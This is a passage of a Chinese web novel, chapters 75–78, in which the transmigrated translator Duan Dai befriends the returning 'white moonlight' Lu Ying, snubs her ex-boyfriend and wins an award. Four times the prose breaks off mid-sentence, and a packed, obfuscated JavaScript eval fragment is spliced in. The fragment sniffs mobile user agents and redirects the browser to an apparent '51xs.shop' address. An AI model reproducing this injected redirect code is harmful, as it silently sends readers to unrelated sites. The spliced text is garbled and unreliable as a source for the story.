段黛转头看向他:“我记得茶魔有新员工去基层门店的传统,你应该也是吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963931|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她的神色坦然,没有什么幸灾乐祸或是落井下石的意思。陈方烨心情复杂,“嗯”了一声:“我现在是临安市的地区经理。” 段黛点了点头:“那还不错。” 说着她转头对黎尚轩道:“你也赶紧点吧,之后我们要上去吃饭呢。” “哎好……” 黎尚轩打开手机点了单,旁边的机器立刻响应,吐出一个单子。 陈方烨:“……” 所以他其实是可以用小程序点单的是吧。 平时门店里还会有一个员工的,但是那个员工去吃饭了,因此只剩陈方烨一个店员在,所以段黛和黎尚轩的奶茶也只能由他来做。段黛点完单之后就到旁边的座位上坐下了,但黎尚轩还站在台子旁边,认真地看着陈方烨从各种各样的桶里打出奶茶来。 “我的是五分糖,她的是三分糖,别搞错了哦。” “我们俩都是大杯。” “对了,陈先生可以做一下奶茶侠吗?偷偷给我们装很多小料那种。” 陈方烨被他盯得如芒刺背,本来话很多的他现在只想赶紧做完把这两尊大佛送走。他强行挂着笑容,把做好的奶茶向前推:“你们的奶茶好了。” 黎尚轩:“可以帮我们打包吗?我们两个的装一起就好。” 段黛对此哭笑不得:“好了,咱们走吧。” 陈方烨麻木地展开一个纸袋子,把两杯奶茶塞到杯托上后装了进去。黎尚轩拎起袋子:“其实先放杯托再放奶茶会好装一些……” 陈方烨:“……” 这两人离开了店铺,陈方烨乱七八糟的大脑重新冷静了下来。他回想起方才他们聊的——段黛也翻译日语。 他不可避免地想到了那个曾被他视为救命稻草的世界读书日联名。那时被认为最有可能合作的作品拒绝了林深的联名,而现在那部作品越来越火,已经和其他产品搭上了,各种周边买的一茬接一茬的。 所以,自己当初联名失败,到底有没有段黛从中作梗? 段黛并不在乎陈方烨现在过的如何,两道菜端上来之后她就把人忘在脑后了,只顾着和黎尚轩一起吃东西了。黎尚轩带她来的是一家港式茶餐厅,每道菜的味道不错,就是量有点少。 “……之前一直听说你可能会有一个亚洲女性力量奖,没想到先来的是这个。” 段黛笑道:“我也挺吃惊的,完全没想到呢。” 黎尚轩思考片刻,道:“感觉以后你获得的奖项会越来越多。” 段黛:“那借你吉言,我应该思考一下怎么收纳了。” 黎尚轩莞尔:“幸好我早有预料。你的书架宽度我是计算过的,在书本前面正好可以再放一些小摆件,到时候直接把奖杯之类的东西放到前面就好了。” 段黛一脸惊奇:“这你都想到了……” 搁置在一边的手机忽然亮了起来,段黛一直在吃东西,倒是没分出精力去看,所以也不知道是许久没联系的邓辞发来的消息。 邓辞:【恭喜啊,这个称号含金量还挺高的。】 邓辞:【对了,你知道鹿颖回来了吗?】 75. 白月光回国 直到晚上回家,段黛才看到邓辞的这条消息。她微微一愣,不由自主地看向窗外。 鹿颖,陈方烨念念不忘的初恋,段墨暗恋的人,是永远压原主一头的“白月光”。 不过这个碾压并不是事业上的,只是原主在恋人与兄长面前永远得不到维护罢了。鹿颖的专业领域和原主完全不同,若非林深的存在,两人在事业上应该是毫无交集的才对。 可是现在,段黛和陈方烨分手了,林深被Season吞并了,只有本来功成名就的段墨以另一种形式“功成名就”。曾经的剧情早就崩坏的不像样了,也让段黛几乎忘记了小说的存在 那么在这种情况下,白月光回国之后又会发生什么呢? 几分钟之后,手机又亮了起来,是曾经的一个朋友群。这个群在段黛穿来后就几乎没发过消息,以至于段黛根本没发现它的存在。 这是一个包括陈方烨、段墨、邓辞三人在内的一个莫名奇妙的社交圈,段黛不清楚他们以及鹿颖和自己是怎么被集合到一起的。但总而言之,这个群就这么存在了。 群主:【鹿颖回国了,我们给她接风吧。】 群主:【大家都有空吗?】 片刻后,段墨先发了一个【1】。 紧接着是邓辞。 然后是陈方烨。 段黛微微歪头,也发了一个【1】进来。 群主:【那就这么说定了。】 三天后,由群主牵头,在一家私厨订了一个包间。陈方烨推开门时,段墨和邓辞已经到了。 不少朋友都在闲聊,有人打趣邓辞:“怎么感觉你的脸色不太好啊,是生病了吗?” 邓辞的笑容非常勉强:“……是啊。” 见到陈方烨来,有人发出了不怀好意的笑声:“不知道咱们陈总现在怎么样了?” “哎呀,林深没了是吧……” 陈方烨尴尬地笑了笑:“我现在入职茶魔了,做地区经理。” “哎呀哎呀,那也是很不错的呢……” 段墨倒是不见从前的落魄,他从头到尾一身奢侈品的logo,一派成功人士的打扮。 “段墨是士别三日当刮目相看了,去ink美术馆买画的人络绎不绝呢。” “我们公司老板也跟风去买了一幅作品回来,说是要陶冶情操。” “哈哈哈……” 段墨大概知道林深破产的事情,看到陈方烨如今有几分操劳的模样也没多奇怪。倒是邓辞,他本就是文弱书生的模样,现在看起来更瘦了,面颊深深的凹陷下去,用细狗都很难概括他现在的状态,得用移栽后马上就死了的树苗做比喻才算合适。 段墨忍不住道:“你最近怎么了?” 邓辞“呵呵”两声:“拜你那个妹妹所赐。” 段墨并不知道从前邓辞和段黛之间还有什么投资往来,也想象不出他能有什么被段黛算计的地方:“段黛?她干什么了?” 邓辞再不说话了,只是闷闷地喝着面前的茶水。 陈方烨坐到邓辞旁边:“你也是因为段黛?” 邓辞掀起眼皮瞥了他一眼,忽然就笑了:“你也是啊。” 段墨愈发摸不着头脑了:“什么意思这是,你们俩现在这样……是段黛干的?” 邓辞重重呼出一口气来,伸手捏了捏段墨的衣角:“你现在这光鲜亮丽的模样……没用段黛给你铺路吧?” 段墨的心脏猛地一紧。他深吸一口气,道:“没,这都是靠我自己。” 他已经很久没能依靠段黛了。 “那还行,”邓辞似笑非笑地看着他,“拿人手短,段黛把她曾经给我们的都收回去了,我们就变成现在这样了。既然你是靠自己混得人模狗样的,那应该也不用怕什么。” 陈方烨的脸色有几分难看。原来邓辞也知道,陈方烨以前能风风光光地当总裁靠的是段黛在背后决策运营。 段墨悄悄捏紧了拳头。 “吱呀”一声,门被推开,一抹白色的身影伴着高跟鞋叩击地面的声音进入了房间。她的声音柔软而甜美:“大家,好久不见。” 来人正是那刚刚归国的白月光——鹿颖。她气质温婉,一头乌黑的长发披散在肩上,脸上挂着得体的微笑,身上的白色连衣裙坠着层层薄纱和蕾丝,看起来颇有几分不食人间烟火的错觉。 时隔一年,陈方烨再次见到鹿颖时心情颇为复杂。鹿颖和从前几乎没有什么区别,一如既往的美丽温柔。只是不知是不是心境变了,陈方烨觉得自己并没有多么心动,反而多出了几分怀疑。 鹿颖确实很好,但是真的好到值得自己失去一切去追随吗? 倘若他当初没有为了鹿颖而无数次忽视段黛,那么或许现在他依然还是身价不菲的总裁…… 段墨再见到鹿颖还是有些激动的。许是事业的成功让他有了底气,他上前几步,打招呼道:“好久不见呀。” 鹿颖对他莞尔一笑。 邓辞忽然道:“你下飞机后是谁去接的你?” 此话一出,陈方烨和段墨的脸色都难看了起来,显然两人不约而同地想到了当时那件事情。鹿颖笑了笑:“没有人接,我自己打车回来的。” 邓辞笑道:“怎么会没人接呢,以前陈方烨和段墨都抢着去送你接你呢。” 这两人的脸色更难看了。 鹿颖:“……” 邓辞饶有兴致地看着她:“怎么,你回国没告诉他们吗?” 气氛诡异地停滞了几秒,鹿颖脸上的笑容消失了。有人窃窃私语,说什么“陈方烨好像是有女朋友的来着”。陈方烨没想到邓辞会突然对他阴阳怪气,忍不住开口:“邓辞你……” 不等他说完,鹿颖忽然一下子跌坐在地上,双手捂脸:“求求你别再说了……” 所有人都呆住了。 段黛就是这个时候到的。她一如既往地扎着高马尾呆着眼镜,身上穿着简单利落且便于活动的黑色衬衣和长裤——这是她从黎尚轩那里学会的穿搭。刚一推开门,她就看到鹿颖坐在地上捂着脸:“求求你别再阴阳我了,我知道自己人缘很差根本没有人愿意去接我……我知道你们不是真心想给我接风只是找个由头聚一聚发展一下人脉……求求你别说了我真的很脆弱很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977472|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易死……” 陈方烨懵了。 段墨原地石化。 邓辞更是目瞪口呆。 连刚刚推门而入的段黛都大脑死机了。 这就是他们的……白月光? 书里光写鹿颖是人淡如菊小绿茶,从来没说她是窝囊废人设啊? 要不是地上这人的面孔和原主的记忆百分百重合,段黛都要怀疑自己是不是认错人了。 当着这么多人的面,邓辞也没想到自己阴阳两句能引来鹿颖这么大反应:“不是……我……” 段黛慢慢走上前来,伸手将鹿颖扶起来挡在身后,接着不紧不慢地撇了邓辞一眼:“你这张嘴啊……怎么永远吐不出人话来?” 邓辞:“不是……什么……啊?” 段黛语气平静:“道歉吧。” 比鹿颖变窝囊废更离谱的是什么? 是段黛把鹿颖护在身后,然后斥责他们这些从前为了鹿颖而指责段黛的人。 陈方烨大跌眼镜,段墨倒吸一口冷气。邓辞百思不得其解:“段黛,我可从来没因为鹿颖而冤枉你什么……” 陈方烨深吸一口气:“段黛,你不要因为之前我对鹿颖关照了一些就……” 还不等段黛开口,鹿颖再一次捂脸跌倒,不过因为有段黛扶着,所以她没跌在地上,而是摔倒在段黛的怀里:“求求你别说了,我知道自己没有那个水平帮你东山再起,我知道林深破产有我很大原因……我是个废物我知道……求求你别说了……” 陈方烨:“……不是,我没有……” 段黛倒不至于就因为鹿颖这句话就义愤填膺了,但她知道此刻自己应该有什么反应。于是她向陈方烨怒目而视:“林深破产是因为你是个废物,这也要怪在鹿颖身上吗?” 陈方烨哑口无言。 鹿颖像个小白兔一样躲在没比她高多少的段黛的怀里:“呜呜谢谢段黛相信我,抚慰了我幼小而脆弱的心灵……” 经过这么一出尴尬的闹剧,所有人都到位置上坐好了。鹿颖粘在段黛身边,硬是要坐在她身旁的位置。而陈方烨和邓辞对段黛多多少少有些忌惮,在一张桌子上吃饭也只敢坐离她最远的位置。于是那两个男人瑟瑟发抖地坐在段黛对面,不敢抬头和她有任何眼神对视。 段墨倒是没有他们那样胆怯,许是因为他自觉现在不欠段黛什么了,他的位置离鹿颖倒是近一些。 或许是为了表现自己身份与以往的大不相同,段墨拿出了一瓶看起来非常精致的酒来:“鹿颖,你猜这瓶酒多少钱?” 段黛:“……” 鹿颖忐忑地看了他一眼,试探道:“一千?” 段墨裂开嘴笑了:“错啦,再猜!” “……一万?” “再猜!” “……” 反复几次后,鹿颖又一次捂住了脸:“对不起我就是个乡巴佬我不识货,我真的不知道这酒的价格是多少……求求你别问我了我真的很容易死……” 段墨:“……” 是后半夜都会坐起来扇自己一巴掌说“我真该死啊”的程度。 76. 谁家白月光是窝囊废啊 “诺奖作者亲自点名要段黛来翻译中译本……” 有人好奇道:“阿黛尔的遗作讲了什么?就是之前说的……她母亲,继父之间的事情?” 段黛点了点头:“阿黛尔一直对她青少年时期的事情避而不谈,遗作里算是很详细地记录了这些过去的事情。” 其实即便是诺奖获得者,这里坐着的也没有多少人真的会去关注作者的事情。段黛很清楚,现在这些都只是商业互吹罢了,谁把这里的吹捧当真谁就是傻子。 鹿颖好奇道:“那其他国家的人会不会羡慕咱们国家有作者钦点的翻译啊?” 段黛笑道:“确实是有影响的。我现在有收到法国和日本两边的联系,法译本和日译本之后可能会找我做外审。” 鹿颖睁大了眼睛:“连法语和日语的译本都找你啊!” 段黛:“我虽然能读这些语言的作品,但真正擅长的还是用中文写作。如果让我用外语来写的话……还是有些为难我了,所以只能读一读了。” 鹿颖:“那也很厉害了啊!” 这些朋友大多是原主在读大学的时候认识的,有F大的校友,也有其他学校的学生。这群朋友的聚会并不频繁,隔上一年半年的才会有一次。 从前众人都会开玩笑问什么时候能喝上陈方烨和段黛的喜酒,一口一个陈总陈老板。如今大家早就听到风声,知道这俩人已经分了一年多了,便再没人提这事。现在段黛被各大媒体报道,又得了政府授予的称号,比起破产的陈方烨来不可谓是不得意。所有人都围着段黛说话,陈方烨被冷落在了一旁。他一口一口地喝着闷酒,只觉得现在如坐针毡。 段墨倒是想插上几句,可鹿颖的眼睛全放在段黛身上,根本就分不出精力来应付他,叫段墨只能干坐着。 中途段黛借口去卫生间离开了包间。她站在卫生间的洗手台前,打开水龙头慢慢地洗着手。 水哗哗地流着,没一会儿她就听到了高跟鞋叩击地面的声音,非常有节奏感。 段黛抬起头来,从镜子里看到鹿颖出现在了自己的身后。 两人借着镜子对上了视线,片刻后鹿颖道:“你是穿书的吧?” “……” 段黛也没多惊讶。毕竟在原书里鹿颖最多就是绿茶了一些,精神状态还是很正常的,不可能动不动就把“求求你别说了我真的很容易死”挂在嘴边的。 谁家白月光是窝囊废啊! 段黛扭过头来:“你也是?” 鹿颖摇了摇头,长长的叹了口气:“我就是鹿颖,但是怎么说呢……我感觉自己比较复杂,也许算是重生的?” 鹿颖在出国的前一晚做了一个梦。梦里她是恶毒女配,在回国之后会抢走女主角的一切,等女主角死后她又会被陈方烨他们报复,最后蹉跎一声。 鹿颖醒来后决定改变这一切。她和陈方烨确实是交往过,但常言道合格的前任就该像死了一样,鹿颖对陈方烨并没有多少留恋。她回国后选择尽量避嫌,不去和陈方烨他们打交道,可陈方烨他们还是会找上门来,让她不得不再次与他们纠缠到一起,重复原来的结局。 然后鹿颖又醒了,方才的一切都是她在出国前做的梦。 鹿颖继续选择做出改变。她学的是烘焙相关的内容,和奶茶甜品之类的产业是对口的,所以陈方烨才会带她进林深。回国后鹿颖不再来临安,并试着入职其他公司。然而她一个海龟居然在各地找工作都处处碰壁,最后只得选择接受林深的橄榄枝,然后再次和主角团纠缠到一起。 她去过帝都,去过商申,去过秣陵,去过大江南北……甚至她想要不就不回国了,先在外面避避风头再说。但是很快她的签证就会因为各种情况而无法续期,导致她不得不回国。 鹿颖就这样反复“重生”“梦醒”了无数次。再清冷的白月光也在无限循环的日子中麻木了。她甚至有几次直接上演发疯文学,却还是阻挡不了自己和段黛的死亡。 鹿颖一脸沧桑:“每次我达成悲剧结局后,就会从梦中醒来。我不清楚这到底是反复重生,还是做了一个连环梦。如果这一世我依然被打击报复,那可能又会从梦中醒来,进入下一重现实。” 段黛愕然。没想到鹿颖的经历比她惨多了,她一时不知道该作何感想。 鹿颖长呼出一口气:“但是这次和以往都不一样了。” 她远在国外时就听到了知名翻译家段黛大帝的伟大事迹,这是从前的段黛都没有过的。鹿颖在那一瞬间突然想起来,其实段黛并不只是协助陈方烨创业成功的“陈夫人预备役”。她本来是有自己的事业的,她是一位优秀的文学翻译。 接着就是林深破产被Season收购的消息。曾经让她找不到工作的魔咒就这么消失了,难道她还会被绑架着去一个根本不存在的公司上班吗? 鹿颖回国后悄悄地打探了一下这三个人的消息。得知邓辞莫名其妙就落魄了起来,陈方烨在段黛离开后就走了下坡路,而段墨也根本没和文森特搭上线,反而开起莫名其妙的美术馆时,她发现了其中最核心的因素——段黛。 这位虐文女主撤回了她的帮助,在这三个男人的每一个关键节点上都做了相反的选择。一开始鹿颖也怀疑她是不是重生了,但是现在的段黛作风与过去实在大相径庭,仅仅重生不可能让人有这么大的改变。 于是鹿颖有了一个更加大胆的猜想。 “你,是穿书的。” 段黛莞尔,算是默认了她的话。 鹿颖深吸一口气,再抬头时已经是热泪盈眶:“太好了。我发现你并不会受剧情的限制,应该是想做什么就能做什么的。我现在投简历都不像之前那样总被退了,一定是因为你来了!段黛,只有你好好活着,我才有办法好好活着啊!” 段黛笑了笑:“放心,我肯定不会死。” 鹿颖回忆着:“我记得在半年之后,有个老流氓会……总之那天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993189|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上你千万别出门……” 段黛:“老流氓已经死了,放心。” “……啊?” 段黛重复道:“杀害我的凶手已经死了,所以你放心,我不会死的。” 她讲了一下钱耀祖的事情,鹿颖先是震惊,随后抚掌道:“斩草除根,干得漂亮!” 所有人都能看到,段黛和鹿颖一前一后离开了包间。虽说今天聚会时两人看起来很和谐,但陈方烨知道两人之间有过节,于是还是追出来看了一眼。 然而远远的他就看到,两人有说有笑的往回走着。 周围根本就没有人在看,她俩不可能是在演戏。 这个画面对陈方烨的冲击力不亚于和段黛分手的时候。他的大脑空白了一阵,这两个人怎么能好好相处? 从前不都是段黛看不惯鹿颖,经常找鹿颖的麻烦吗? 为什么她们现在能相处的这么和谐? 陈方烨的脑中闪过曾经段黛含着眼泪说“我没有,你为什么不信我”的画面。难道从前都是自己一厢情愿地认为段黛是坏人?实际上她们本来关系就很好? 一顿饭吃完,段墨看着黏在一起的段黛和鹿颖,犹豫片刻后开口:“黛黛,鹿颖,我送你们回去吧……” 鹿颖笑道:“不用啦,阿黛说她送我回去!” 段墨愣了一下:“她送你回去?你们两个女生坐地铁还是不太安全……” 一阵清脆的金属碰撞的声音响起,段黛掏出了车钥匙。她的脸上挂着淡淡的笑:“我开了车来,用不着坐地铁。” 段墨骇然:“你买车了?什么时候……” 鹿颖抱着段黛的手臂,像是要贴到她身上一样:“女生晚上自己走在外面确实不安全,不过指望别人来保护自己到底还是不行的,还是自己有能力保护自己才是最保险的啊。” 段墨的脸色瞬间白了。他想到了一年前的那个夜晚,他说是要给段黛一个“教训”于是晾了她四个小时…… 那一夜鲜血淋漓,段黛与流氓激烈地缠斗,最终以她的获胜而告终。从前柔弱的妹妹一夜之间变得心狠手辣,再也不会顾念什么血脉亲情。便是父母她都可以在利益冲突时毫不犹豫的割舍,又何况是他这个又当又立的哥哥。 段黛和鹿颖已经走远了,段墨还僵在原地。陈方烨慢慢走了过来,幽幽道:“段黛确实有车了,我见过的。” 邓辞抬头:“你别告诉我她开了玛莎拉蒂或者帕拉梅拉。” 陈方烨摇了摇头:“不是什么豪车,但也要四五十万的样子。是被评价性价比很高的一辆。” 邓辞沉默片刻,忽然笑了:“还真是有她的风格啊。” 现在的段黛并不太在乎他人的目光,所以对奢侈品也没有什么很大的追求。日常穿的用的追求第一位的都是舒适和好用,而不是品牌和名声。 他几乎能想象到段黛一脸云淡风轻地抱着手臂,说“可以,但没必要”的表情。 77. 甚至有点嫌她烦 鹿颖抱着手提包踩着高跟鞋,哒哒哒地跟在段黛身后。坐上车后,段黛问她:“你现在住在哪?” 鹿颖报了一个地址,段黛便在导航上输入了定位。电子音随之响起:“高德地图持续为您导航——” 段黛:“系上安全带哦。” 鹿颖赶紧拉过安全带来。不过她摸了半天也没找到扣在哪里,一时间有些尴尬:“那个……黛黛……” 段黛刚扣上安全带,见状伸出手来:“我这车上的垫子有点宽,把安全带的扣都挡住了。我来吧。” 她纤长白皙的手从鹿颖的手里将安全带接了过来。鹿颖盯着她手上的关节,看到她的脑袋也凑了过来。 “咔哒——” 安全带系好了。 段黛熟练地转动方向盘,从停车位里出来驶入马路。鹿颖双眼一眨不眨地看着她,情不自禁道:“退一万步讲,老公为什么不能是女的呢?” 段黛:“……什么?” 鹿颖赶紧收回自己不太像话的目光,在副驾驶上正襟危坐。她清了清嗓子:“现在林深不在了,我想看看能不能进入Season工作……” “Season吗?”段黛思索片刻,“我倒是认识Season的人,说不定可以帮你内推呢。” 鹿颖欣喜若狂:“真的吗?黛黛你真的好厉害!” 段黛笑了笑,她的V信里还有宋语瑶的联系方式。两人虽说很久不联系了,但到底当初联手做局,逢年过节还是会互相问候的。她看着前面的红绿灯缓缓道:“我从来没有感觉到过什么剧情限制,没想到你会是这个情况……帮你内推也是试试看,能不能让你摆脱只能在林深就职的限制。” 鹿颖郑重点头。 鹿颖的简历很漂亮,宋语瑶看过之后立刻安排了面试。据说鹿颖的表现相当出色,Season立即将她安排到了研发部门。收到鹿颖报喜的消息,段黛笑了笑:“恭喜。” 陈方烨在茶魔的各个门店打了一个月的奶茶,总算是度过了考核期,可以去办公大楼正式任职了。在办公室坐下之后,他忽然想到了鹿颖的专业,便发消息给她:【虽然林深没了……但是我现在是茶魔的地区经理,可以帮你内推的。】 鹿颖这次倒是不像在国外的时候那样完全不理人了,她很快回复了消息:【不用啦,段黛已经介绍我进了Season了。】 陈方烨现在最见不得的就是Season。看到昔日初恋居然在前女友的介绍下进了对家公司,陈方烨一瞬间有种想要大吼大叫的冲动。他深吸一口气,重新看过鹿颖的消息。 是段黛介绍她去的Season。 段黛和Season还有交集? 陈方烨脑中闪过了黎尚轩出现在Season新办公区时的画面,又记起了段黛离开那天宋语瑶和他叫价的事情…… “砰”的一声,陈方烨一拳砸在桌子上。旁边的人惊呼一声,骂道:“犯什么神经!” 陈方烨现在没有独立办公室了,他回过神来,畏畏缩缩地道了歉,重新坐了下来。 盛夏在不知不觉间过去,炽热与秋风轮番交替着。段黛翻译完了《那时我只有十二岁》,并审了法语版本和日语版本的译文。 完成这部稿件之后,临译社叮嘱关月兰,让段黛好好休息一段时间。段黛已经成为了临译社当仁不让的金字招牌,连带着临译社其他译者的作品都有了更好的销量。他们要重新商定针对段黛的计划,让临译社的资源经过段黛之手得到更好的利用,以实现互利共赢的最佳效果。 鹿颖在Season渐渐站稳了脚跟,成为了研发部门的核心成员。她对段黛道:“临安准备开发北边的郊区,不少大学都要在那里建新校区,听说要建新大学城呢。咱们要不在那里开一家店吧?现在三十万就可以加盟一家Season的奶茶店呢。” 段黛对新开发区的建设也略有耳闻。从前林深遍布临安各个市区,后来被Season收购后改换门牌,使得Season在临安也几乎饱和。因此,理论上在临安继续加盟Season并不是多么明智的选择。 但是既然有新开发区在建设,那么这也算是一个突破口。段黛思考片刻后点了点头:“行。” 这些日子段黛和鹿颖的相处还是很舒服的……才怪。 白月光和主角踹掉男人成为好闺蜜,上演girlshelpgirls的感动戏码……没有,根本没有。或者说只有鹿颖是这么觉得的。 鹿颖并不是那种高岭之花,相反她有点……烦。 平时倒也还好,主要是鹿颖的分享欲实在是太强了,她在Season工作后就连同事怎么跟她说话的都要给段黛发一下,并且有时吐黑泥,弄的段黛一个头两个大。 求求了,就算是好朋友也别给我分享这么多有的没的好吗。 如果说黎尚轩是她定期出门的随身物品,那么鹿颖就是她养在手机里的电子宠物。 正好现在出版社忙于阿黛尔遗作发行的事情,还没有派新的工作给她,那她就来忙一忙奶茶店的事情好了。 加盟奶茶店首先要做的是选址,于是段黛开车载了鹿颖,带她一起去了新区。 天气凉爽,车里不需要开空调。鹿颖降下了车窗,让风迎面吹在脸上:“有一种富婆闺蜜带我兜风的感觉。” 说着她扭过头来:“不对,你现在已经是富婆了。” 段黛笑了笑:“以后你也会成为富婆的。” “好耶……”鹿颖鼓掌,“借你吉言。对了,黛黛你之前有带其他人兜风吗?” 段黛闻言愣了一下。之前黎尚轩倒是会开车带她出去兜风,不过她倒是没这么做过。 好像自己从买车之后,就没让其他人上过车。 段黛后知后觉道:“这么说来,你还是第一个坐副驾驶的呢?” “真的假的?”鹿颖一脸惊奇,“我靠,意义非凡啊。” 段黛笑了起来:“车子一直只有我自己开,还没带过别人。” 鹿颖任由风把自己额前的碎发都吹到脑袋后面,忽然道:“黛黛,你现在是单身吗?” “……怎么突然问这个。” 鹿颖摩挲着手臂:“虽然你和陈方烨已经分手了,但是如果想摆脱的更彻底一些的话……果然还是有新男友顶上才更保险吧?” 段黛淡淡一笑:“我谈恋爱应该是我想谈,而不是为了证明什么。等我想谈的时候当然会谈的。” “……也有道理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006767|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车子开了一个多小时,总算是到了还在建设的新区。这里有不少地方还在施工,但一个商场已经建起来了。估计过不了多久,这里就会形成一个新的商圈。 鹿颖打开手机给段黛看自己标记的位置:“我是选了这三个地方,但是还拿不定主意到底选哪里做新店地址……你来看看有什么想法?” 段黛开车把鹿颖说的这三个地方都绕了一圈,最终回到了一开始她们看到的商场。这个地段守着正在修建的地铁口,又在将来大学城中间的位置,离各个规划好的校区都不算远,将来估计会有不少外卖单子。 听段黛分析完之后,鹿颖眼睛一亮:“对哦,那就选这里吧!” 两人正绕着商场慢慢走着呢,迎面看到陈方烨带着几个人从对面走了过来。茶魔现在也在慢慢扩展门店,他们也一早听到新区建设的消息。这种尚未被其他品牌入驻的地区是个黄金地带,陈方烨作为地区经理,自然也要来这里实地考察。 两方碰面皆是一愣,陈方烨诧异道:“你们……你们怎么会在一起?” 鹿颖歪头:“我们为什么不能在一起?” 陈方烨难以置信:“你们的关系……什么时候这么好了?” 鹿颖转头看向段黛,后者一如既往的古井无波:“没有傻x插手,我们的关系自然好。” “……你说谁是傻x呢!” 陈方烨跳脚了一番后被同事们拉走了,段黛“啧”了一声,轻轻道:“蠢货。” 鹿颖:“黛黛觉得陈方烨是蠢货吗?” 段黛颔首:“他刚才说了那么多,却没问我们为什么会在这里。看来在他的脑子里只有那些勾心斗角的事情,正事是一点不想啊。” 鹿颖恍然大悟:“我刚刚还担心他知道我们会在这开店呢,看来是白担心了啊。” 段黛笑而不语。 两人敲定了新店地址,很快加盟了Season。两人按照□□比例出资,段黛出大头做甩手掌柜,鹿颖出小头负责装修、招聘等事宜,很快新奶茶店就在这里建好了。 与此同时,《那时我只有十二岁》也终于发行了。 阿黛尔的遗作被翻译成了几十种语言同步发行,作家母女之间的过往被受害者亲自揭露于世。之前澳洲的新闻媒体已经将阿黛尔童年的遭遇公开了,还有纪录片、采访等各种辅助宣传的手段,使得大众对阿黛尔的遗作充满了好奇。如今再看受害者本人的叙述,其带来的震撼效果完全不是之前的报道能够比拟的。 于是图书发行之后立即轰动全球。段黛的名字也随之再次流传至世界各地,人人都知道阿黛尔遗作的发行少不了这位中国姑娘的东奔西跑。 而在段黛的提议下,凤姿龙章公司也在这段时间注重一些敏感话题作品的输出,甚至鼓励作者们用外语创作。在热议话题之下,此举不仅让凤姿龙章营收进步,更是让更多女孩不再因为被性侵犯的过去而羞耻,而是勇敢开口承认自己是受害者,为自己争取一个公道。 从闭口不谈到大胆维权,这一步看似微不足道,却是无数人前仆后继带来社会思想风向的变迁的结果。 于是,凛冬将至时,段黛获得了自穿书以来第一个国际奖项——亚洲地区女性力量奖。 78. 颁奖典礼 临译社上下都在沸腾,段黛获得文化自信使者的热度还没过呢,现在又获奖了。官博发了祝贺帖之后置顶了一个周,简直要把“这是我家的翻译”贴到脸上去了。 段黛的手机又一次连着天震个不停,认识的不认识的都发来祝贺。 宋语瑶:【恭喜段小姐。】 段墨:【恭喜呀,哥哥为你骄傲。】 鹿颖:【段黛大帝牛逼!】 段黛忍不住回复她:【你从哪看的,怎么也叫大帝。】 鹿颖:【我上网啊,大家都这么叫你。】 段黛:【……】 黎尚轩当然也是要祝贺的。近水楼台先得月,他住的离段黛最近,当然不会只是嘴上祝贺。考虑到段黛最近东奔西跑的也懒得出门了,黎尚轩道:【来我家吃晚饭吧,我新学了一种菜的做法。】 段黛一听能蹭饭立刻来了精神。去黎尚轩家蹭饭是很爽的,他做饭好吃是一方面,最重要的是段黛不需要特意打扮的多么体面。 现在天又冷了,有时候段黛穿着家居服披个外套就来了,穿搭恶心点也完全没问题,这对于怕麻烦的段黛来说简直是蹭饭首选。 并且在别人家吃饭也就意味着她不需要考虑剩菜怎么处理的问题,更不用每天算着这个要吃了那个不能放了。 而且还不用洗碗。 于是晚上六点,段黛换了双鞋披着外套就敲响了黎尚轩家的门。 防盗门拉开,黎尚轩穿着一条黑色的围裙。腰带系在身后,勾勒出他宽肩窄腰的身材。他对着段黛温和一笑:“来啦。” 空气中弥漫着一股又酸又甜的香味儿,段黛熟门熟路地换了拖鞋挂好外套,直接进了厨房:“好香。” 黎尚轩解开围裙:“刚做好,来拿筷子吧。” 段黛拿了筷子出来,黎尚轩倒了两杯常温的葡萄汁放到桌上。段黛接过杯子抿了一口:“还是温的呢。” 黎尚轩:“天冷了,别总喝冰的了。” 段黛点了点头。 相处的时间长了之后,黎尚轩也能摸出一些段黛喜好的规律来。比如她虽然没有什么特别喜欢的东西,但是一定有特别讨厌的东西。所以只要黎尚轩避开那些她会讨厌的东西就好了。 